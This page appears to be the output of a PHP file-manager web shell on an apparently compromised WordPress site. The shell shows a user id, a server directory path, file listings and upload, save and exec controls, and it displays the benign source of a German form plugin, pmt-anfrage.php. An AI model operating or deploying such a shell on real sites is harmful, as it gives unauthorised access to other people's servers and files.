WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
LIESMICH.md
16931
x
D
assets/
D
includes/
-
pmt-anfrage.php
4469
x
-
uninstall.php
389
x
Upload
Simpan
<?php /** * Plugin Name: PLANT-MY-TREE Anfrage * Description: Anfrageformulare „Bäume pflanzen“, „Consulting“ und „Teamevent“ im Stil von Typeform, auf Deutsch und Englisch, und die Anmeldeseite für Termine mit Teamanmeldung. Anfragen und Anmeldungen gehen in den PMT-Hub, mit Schutz vor Spam. * Version: 1.2.0 * Requires at least: 6.0 * Requires PHP: 8.0 * Author: PLANT-MY-TREE * Text Domain: pmt-anfrage */ if (!defined('ABSPATH')) exit; define('PMT_ANFRAGE_VERSION', '1.2.0'); define('PMT_ANFRAGE_DATEI', __FILE__); require_once __DIR__ . '/includes/formulare.php'; require_once __DIR__ . '/includes/senden.php'; require_once __DIR__ . '/includes/einstellungen.php'; require_once __DIR__ . '/includes/spamschutz.php'; require_once __DIR__ . '/includes/anmeldung.php'; register_activation_hook(__FILE__, 'pmt_anfrage_aktivieren'); register_deactivation_hook(__FILE__, 'pmt_anfrage_deaktivieren'); add_action('rest_api_init', 'pmt_anfrage_rest'); add_action('pmt_anfrage_nachsenden', 'pmt_anfrage_nachsenden'); add_action('pmt_anfrage_nachsenden_bald', 'pmt_anfrage_nachsenden'); add_action('plugins_loaded', function () { // Nach einem Update ohne erneute Aktivierung: Tabelle und Zeitplan sicherstellen if (get_option('pmt_anfrage_db') !== PMT_ANFRAGE_VERSION) { pmt_anfrage_aktivieren(); update_option('pmt_anfrage_db', PMT_ANFRAGE_VERSION, false); } }); add_action('wp_enqueue_scripts', function () { wp_register_style('pmt-anfrage', plugins_url('assets/pmt-anfrage.css', __FILE__), [], PMT_ANFRAGE_VERSION); wp_register_script('pmt-schutz', plugins_url('assets/pmt-schutz.js', __FILE__), [], PMT_ANFRAGE_VERSION, true); wp_register_script('pmt-anfrage', plugins_url('assets/pmt-anfrage.js', __FILE__), ['pmt-schutz'], PMT_ANFRAGE_VERSION, true); wp_register_style('pmt-anmeldung', plugins_url('assets/pmt-anmeldung.css', __FILE__), [], PMT_ANFRAGE_VERSION); wp_register_script('pmt-anmeldung', plugins_url('assets/pmt-anmeldung.js', __FILE__), ['pmt-schutz'], PMT_ANFRAGE_VERSION, true); }); /* WP Rocket: Formular und Anmeldeseite nicht bis zur ersten Bewegung verzögern und nicht mit anderen Dateien zusammenlegen */ add_filter('rocket_delay_js_exclusions', function ($l) { array_push($l, 'pmt-anfrage', 'pmt-schutz', 'pmt-anmeldung'); return $l; }); add_filter('rocket_exclude_js', function ($l) { foreach (['pmt-anfrage', 'pmt-schutz', 'pmt-anmeldung'] as $d) $l[] = "/wp-content/plugins/pmt-anfrage/assets/$d.js"; return $l; }); add_shortcode('pmt_anfrage', function ($atts) { $a = shortcode_atts(['formular' => 'baeume', 'sprache' => 'de', 'kontakt' => '', 'danke' => '', 'vollbild' => 'ja'], $atts, 'pmt_anfrage'); $formular = is_string($a['formular']) && isset(PMT_ANFRAGE_FORMULARE[$a['formular']]) ? $a['formular'] : 'baeume'; $sprache = $a['sprache'] === 'en' ? 'en' : 'de'; $s = pmt_anfrage_einstellungen(); $kontakt = in_array($a['kontakt'], ['anfang', 'ende'], true) ? $a['kontakt'] : $s['kontakt']; $bild = fn($k) => $s[$k] ? (string) wp_get_attachment_image_url((int) $s[$k], 'large') : ''; $t = pmt_anfrage_texte($sprache); $config = [ 'formular' => $formular, 'sprache' => $sprache, 'kontakt' => $kontakt, 'schritte' => pmt_anfrage_schritte($formular, $sprache, $kontakt), 'texte' => $t, 'senden' => rest_url('pmt-anfrage/v1/senden'), 'marke' => rest_url('pmt-anfrage/v1/marke'), 'recaptcha' => pmt_recaptcha()['an'] ? pmt_recaptcha()['site'] : '', 'danke' => esc_url_raw($a['danke']) ?: pmt_anfrage_danke($formular, $sprache), 'telefon' => $s['telefon'], 'datenschutz' => $s['datenschutz'] ?: (string) get_privacy_policy_url(), 'bilder' => ['ort' => $bild('bild_ort'), 'aspekt' => $bild('bild_aspekt'), 'variante' => $bild('bild_variante')], ]; wp_enqueue_style('pmt-anfrage'); wp_enqueue_script('pmt-anfrage'); $hg = $bild('bild_hintergrund'); // vollbild="nein": als Kasten mit runden Ecken in einer Seite (Standard: über den ganzen Bildschirm wie ein Typeform) return sprintf('<div class="pmt-anfrage%s" lang="%s" data-pmt-anfrage="%s"%s><noscript><p class="pa-ohne-js">%s</p></noscript></div>', $a['vollbild'] === 'nein' ? ' pa-kasten' : '', esc_attr($sprache), esc_attr(wp_json_encode($config, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)), $hg ? ' style="--pa-hintergrund:url(\'' . esc_url($hg) . '\')"' : '', esc_html($t['ohneJs'])); });
Exec